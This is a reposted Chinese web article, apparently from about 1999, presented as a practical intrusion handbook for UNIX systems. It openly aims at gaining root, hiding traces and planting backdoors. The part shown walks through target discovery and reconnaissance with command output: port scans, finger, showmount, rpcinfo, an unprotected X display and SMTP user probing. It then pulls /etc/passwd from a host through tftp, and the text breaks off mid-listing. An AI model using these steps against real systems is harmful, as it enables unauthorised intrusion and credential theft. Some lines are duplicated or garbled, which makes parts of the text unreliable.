网络通信 频道

网络入侵实用战术手册(UNIX)

入侵一个系统有很多步骤,阶段性很强的“工作”,其最终的目标是获得超级用户权限——对目标系统的绝对控制。从对该系统一无所知开始,我们利用其提供的各种网络服务收集关于它的信息,这些信息暴露出系统的安全脆弱性或潜在入口;然后我们利用这些网络服务固有的或配置上的漏洞,试图从目标系统上取回重要信息(如口令文件)、或在上面执行命令,通过这些办法,我们有可能在该系统上获得一个普通的shell接口;接下来,我们再利用目标系统本地的操作系统或应用程序的漏洞试图提升我们在该系统上的权限,攫取超级用户控制;适当的善后工作包括隐藏身份、消除痕迹、安置特洛伊木马和留后门。 
  (零)、确定目标
  
  1) 目标明确--那就不用废话了
  
  2) 抓网:从一个有很多链接的WWW站点开始,顺藤摸瓜;
  
  3) 区段搜索:如用samsa开发的mping(multi-ping);
  
  4) 到网上去找站点列表;
  
  (一)、 白手起家(情报搜集)
  
  从一无所知开始:
  
  1) tcp_scan,udp_scan
  
  # tcp_scan numen 1-65535
  
  7:echo:
  
  7:echo:
  
  9:discard:
  
  13:daytime:
  
  19:chargen:
  
  21:ftp:
  
  23:telnet:
  
  25:smtp:
  
  37:time:
  
  79:finger
  
  111:sunrpc:
  
  512:exec:
  
  513:login:
  
  514:shell:
  
  515:printer:
  
  540:uucp:
  
  2049:nfsd:
  
  4045:lockd:
  
  6000:xwindow:
  
  6112:dtspc:
  
  7100:fs:
  
  …
  
  # udp_scan numen 1-65535
  
  7:echo:
  
  7:echo:
  
  9:discard:
  
  13:daytime:
  
  19:chargen:
  
  37:time:
  
  42:name:
  
  69:tftp:
  
  111:sunrpc:
  
  161:UNKNOWN:
  
  177:UNKNOWN:
  
  ...
  
  看什么:
  
  1.1)可疑服务: finger,sunrpc,nfs,nis(yp),tftp,etc..
  
  1.2)系统入口: ftp,telnet,http, shell(rsh), login (rlogin),smtp,exec(rexec)
  
  (samsa: [/etc/inetd.conf]最要紧!!)
  
  2) finger
  
  # finger root@numen
  
  [numen]
  
  Login Name TTY Idle When Where
  
  root Super-User console 1 Fri 10:03 :0
  
  root Super-User pts/6 6 Fri 12:56 192.168.0.116
  
  root Super-User pts/7 Fri 10:11 zw
  
  root Super-User pts/8 1 Fri 10:04 :0.0
  
  root Super-User pts/1 4 Fri 10:08 :0.0
  
  root Super-User pts/11 3:16 Fri 09:53 192.168.0.114
  
  root Super-User pts/10 Fri 13:08 192.168.0.116
  
  root Super-User pts/12 1 Fri 10:13 :0.0
  
  (samsa: root 这么多,不容易被发现哦~)
  
  # finger ylx@numen
  
  [victim.com]
  
  Login Name TTY Idle When Where
  
  ylx ??? pts/9 192.168.0.79
  
  # finger @numen
  
  [numen]
  
  Login Name TTY Idle When Where
  
  root Super-User console 7 Fri 10:03 :0
  
  root Super-User pts/6 11 Fri 12:56 192.168.0.116
  
  root Super-User pts/7 Fri 10:11 zw
  
  root Super-User pts/11 3:21 Fri 09:53 192.16 numen:
  
  root Super-User pts/11 3:21 Fri 09:53 192.16 numen:
  
  ts/10 May 7 13:08 18 (192.168.0.116)
  
  (samsa:如果没有finger,就只好有rusers乐)
  
  4) showmount
  
  # showmount -ae numen
  
  export table of numen:
  
  /space/users/lpf sun9
  
  samsa:/space/users/lpf
  
  sun9:/space/users/lpf
  
  (samsa:该机提供了那些共享目录,谁共享了这些目录[/etc/dfs/dfstab])
  
  5) rpcinfo
  
  # rpcinfo -p numen
  
  program vers proto port service
  
  100000 4 tcp 111 rpcbind
  
  100000 4 udp 111 rpcbind
  
  100024 1 udp 32772 status
  
  100024 1 tcp 32771 status
  
  100021 4 udp 4045 nlockmgr
  
  100001 2 udp 32778 rstatd
  
  100083 1 tcp 32773 ttdbserver
  
  100235 1 tcp 32775
  
  100021 2 tcp 4045 nlockmgr
  
  100005 1 udp 32781 mountd
  
  100005 1 tcp 32776 mountd
  
  100003 2 udp 2049 nfs
  
  100011 1 udp 32822 rquotad
  
  100002 2 udp 32823 rusersd
  
  100002 3 tcp 33180 rusersd
  
  100012 1 udp 32824 sprayd
  
  100008 1 udp 32825 walld
  
  100068 2 udp 32829 cmsd
  
  (samsa:[/etc/rpc]可惜没开rexd,据说开了rexd就跟没password一样哦!
  
  不过有rstat,rusers,mount和nfs:-)
  
  6) x-windows
  
  # DISPLAY=victim.com:0.0
  
  # export DISPLAY
  
  # export DISPLAY
  
  # xhost
  
  access control disabled, clients can connect from any host
  
  (samsa:great!!!)
  
  # xwininfo -root
  
  xwininfo: Window id: 0x25 (the root window) (has no name)
  
  Absolute upper-left X: 0
  
  Absolute upper-left Y: 0
  
  Relative upper-left X: 0
  
  Relative upper-left Y: 0
  
  Width: 1152
  
  Height: 900
  
  Depth: 24
  
  Visual Class: TrueColor
  
  Border width: 0
  
  Class: InputOutput
  
  Colormap: 0x21 (installed)
  
  Bit Gravity State: ForgetGravity
  
  Window Gravity State: NorthWestGravity
  
  Backing Store State: NotUseful
  
  Save Under State: no
  
  Map State: IsViewable
  
  Override Redirect State: no
  
  Corners: +0+0 -0+0 -0-0 +0-0
  
  -geometry 1152x900+0+0
  
  (samsa:can''t be greater!!!!!!!!!!!)
  
  7) smtp
  
  # telnet numen smtp
  
  Trying 192.168.0.198...
  
  Connected to numen.
  
  Escape character is ''^]''.
  
  220 numen.ac.cn ESMTP Sendmail 8.9.1b+Sun/8.9.1; Fri, 7 May 1999 14:01:39 +0800
  
  (CST)
  
  expn root
  
  250 Super-User <">root@numen.ac.cn>
  
  vrfy ylx
  
  250 <">ylx@numen.ac.cn>
  
  expn ftp
  
  expn ftp
  
  250 <">ftp@numen.ac.cn>
  
  (samsa:ftp说明有匿名ftp)
  
  (samsa:如果没有finger和rusers,只好用这种方法一个个猜用户名乐)
  
  debug
  
  500 Command unrecognized: "debug"
  
  wiz
  
  500 Command unrecognized: "wiz"
  
  (samsa:这些著名的漏洞现在哪儿还会有呢?:-(()
  
  8) 使用 scanner(***)
  
  # satan victim.com
  
  ...
  
  (samsa:satan 是图形界面的,就没法陈列了!!
  
  列举出 victim.com 的系统类型(e.g.SunOS 5.7),提供的服务(e.g.WWW)和存在的脆弱性)
  
  二、隔山打牛(远程攻击)
  
  1) 隔空取物:取得passwd
  
  1.1) tftp
  
  # tftp numen
  
  tftp> get /etc/passwd
  
  Error code 2: Access violation
  
  tftp> get /etc/shadow
  
  Error code 2: Access violation
  
  tftp> quit
  
  (samsa:一无所获,但是...)
  
  # tftp sun8
  
  tftp> get /etc/passwd
  
  Received 965 bytes in 0.1 seconds
  
  tftp> get /etc/shadow
  
  Error code 2: Access violation
  
  (samsa:成功了!!!;-)
  
  # cat passwd
  
  root:x:0:0:Super-User:/:/bin/ksh
  
  daemon:x:1:1::/:
  
  bin:x:2:2::/usr/bin:
  
  sys:x:3:3::/:/bin/sh
  
  adm:x:4:4:Admin:/var/adm:
  
  lp:x:71:8:Line Printer Admin:/usr/spool/lp:
  
  smtp:x:0:0:Mail Daemon User:/:
  
  smtp:x:0:0:Mail Daemon User:/:
  
  uucp:x:5:5:uucp Admin:/usr/lib/uucp:
  
  nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
  
  listen:x:37:4:Network Admin:/usr/ne

文章转载地址:http://www.cnpaf.net/Class/hack/06101110491521643942.html

0
相关文章